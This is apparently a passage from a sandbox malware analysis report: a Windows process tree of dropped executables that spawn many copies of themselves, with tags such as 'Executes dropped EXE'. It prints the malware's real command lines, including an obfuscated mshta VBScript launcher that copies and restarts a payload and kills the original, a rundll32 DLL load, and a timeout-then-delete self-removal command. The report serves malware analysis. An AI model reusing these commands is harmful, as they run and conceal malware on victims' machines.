C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:1964
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:5900
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:888
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:3024
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:6252
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:7084
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:6476
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:1968
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:7072
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:5884
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:1900
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:5336
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:5988
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:7948
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:6948
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:5104
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:7280
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:8476
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:8716
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:2848
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:5784
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5784 -s 284⤵
- Program crash
PID:3396
-
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:7904
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:6220
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:9960
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:8904
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:9144
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:6048
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:6104
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:10460
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:8352
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:2220
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:10512
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:6012
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:9528
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:12072
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:13256
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:10612
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:1296
-
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe"C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1908 -
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵
- Executes dropped EXE
PID:2752
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵
- Executes dropped EXE
PID:5388
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6084
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:5648
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:3760
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:1148
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6080
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6364
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6788
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6620
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:580
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:7056
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:2856
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:2072
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6980
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6672
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:7344
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:1504
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:8112
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:7696
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:7264
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:8424
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6040
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:5736
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6840
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵
- Executes dropped EXE
PID:5796
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:9244
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:10156
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:10104
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:9344
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:1316
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:2656
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:9996
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:9124
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:8744
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:2116
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:11912
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:5592
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:4100
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:10224
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:2980
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:6932
-
-
C:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exeC:\Users\Admin\Documents\30FNCED7Y1C3JJUIuO9lzR7N.exe3⤵PID:3240
-
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe"C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1824 -
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵
- Executes dropped EXE
PID:5084
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵
- Executes dropped EXE
PID:5352
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:1552
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:1604
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:5556
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:6108
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:816
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:6392
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:6940
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:420
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:4284
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:2484
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:7116
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:4332
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:6872
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6872 -s 284⤵
- Program crash
PID:7204
-
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:7452
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:4304
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:1648
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:8748
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:5740
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:8832
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:8464
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:9364
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:9264
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:9444
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:5668
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:9044
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:1512
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:9408
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:8620
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:9852
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:11896
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:9208
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:8588
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:11412
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:12348
-
-
C:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exeC:\Users\Admin\Documents\kyt2cMkcQyHqnDShZzEyLxvh.exe3⤵PID:18576
-
-
-
C:\Users\Admin\Documents\pi28PNAS1QlYCOHD9KQjXAx8.exe"C:\Users\Admin\Documents\pi28PNAS1QlYCOHD9KQjXAx8.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1728
-
-
C:\Users\Admin\Documents\LV8e52wOw31r7d6xbhB2JR9f.exe"C:\Users\Admin\Documents\LV8e52wOw31r7d6xbhB2JR9f.exe"2⤵
- Executes dropped EXE
PID:1648 -
C:\Users\Admin\Documents\LV8e52wOw31r7d6xbhB2JR9f.exe"C:\Users\Admin\Documents\LV8e52wOw31r7d6xbhB2JR9f.exe"3⤵PID:6220
-
-
C:\Users\Admin\Documents\LV8e52wOw31r7d6xbhB2JR9f.exe"C:\Users\Admin\Documents\LV8e52wOw31r7d6xbhB2JR9f.exe"3⤵PID:5556
-
-
C:\Users\Admin\Documents\LV8e52wOw31r7d6xbhB2JR9f.exe"C:\Users\Admin\Documents\LV8e52wOw31r7d6xbhB2JR9f.exe"3⤵PID:2688
-
-
-
C:\Users\Admin\Documents\TrZl_z3o_FPeAvCrx1qrKMOL.exe"C:\Users\Admin\Documents\TrZl_z3o_FPeAvCrx1qrKMOL.exe"2⤵
- Executes dropped EXE
PID:928 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\Documents\TrZl_z3o_FPeAvCrx1qrKMOL.exe"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if """"== """" for %m in ( ""C:\Users\Admin\Documents\TrZl_z3o_FPeAvCrx1qrKMOL.exe"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))3⤵PID:4512
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\Documents\TrZl_z3o_FPeAvCrx1qrKMOL.exe" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if ""== "" for %m in ("C:\Users\Admin\Documents\TrZl_z3o_FPeAvCrx1qrKMOL.exe" ) do taskkill /iM "%~NXm" -F4⤵PID:3156
-
C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXEIQ0v_FE_.ExE -poRsuYEMryiLi5⤵
- Executes dropped EXE
PID:5868 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if ""-poRsuYEMryiLi""== """" for %m in ( ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))6⤵PID:1076
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" VHTDDahA.G,XBvVyh6⤵PID:2860
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "TrZl_z3o_FPeAvCrx1qrKMOL.exe" -F5⤵
- Kills process with taskkill
PID:5624
-
-
-
-
-
C:\Users\Admin\Documents\Hnf7L9JRd7VlPumFMRpeqjJ6.exe"C:\Users\Admin\Documents\Hnf7L9JRd7VlPumFMRpeqjJ6.exe"2⤵
- Executes dropped EXE
PID:4212 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3448
-
-
-
C:\Users\Admin\Documents\GsxWa_oW9oaFjwyRllKzR9zU.exe"C:\Users\Admin\Documents\GsxWa_oW9oaFjwyRllKzR9zU.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3612
-
-
C:\Users\Admin\Documents\A94MoBfTkhzC_kW9wFdZzvze.exe"C:\Users\Admin\Documents\A94MoBfTkhzC_kW9wFdZzvze.exe"2⤵
- Executes dropped EXE
PID:1436 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 2403⤵
- Program crash
PID:5608
-
-
-
C:\Users\Admin\Documents\nlZpJijiF3izOGSUNDjApoOW.exe"C:\Users\Admin\Documents\nlZpJijiF3izOGSUNDjApoOW.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4256 -
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\nlZpJijiF3izOGSUNDjApoOW.exe"3⤵PID:4364
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK4⤵
- Delays execution with timeout.exe
PID:6676
-
-
-
-
C:\Users\Admin\Documents\jxWoFRD9x6490bIs1A5l0ZD_.exe"C:\Users\Admin\Documents\jxWoFRD9x6490bIs1A5l0ZD_.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2536 -
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
PID:4280
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
PID:1624
-
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"3⤵
- Executes dropped EXE
PID:2504
-
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe"C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4676 -
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵
- Executes dropped EXE
PID:4872
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:5648
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:2000
-
-
C:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exeC:\Users\Admin\Documents\xlFzzXF8vOiQDibjMl4UtZHZ.exe3⤵PID:2108
-
-
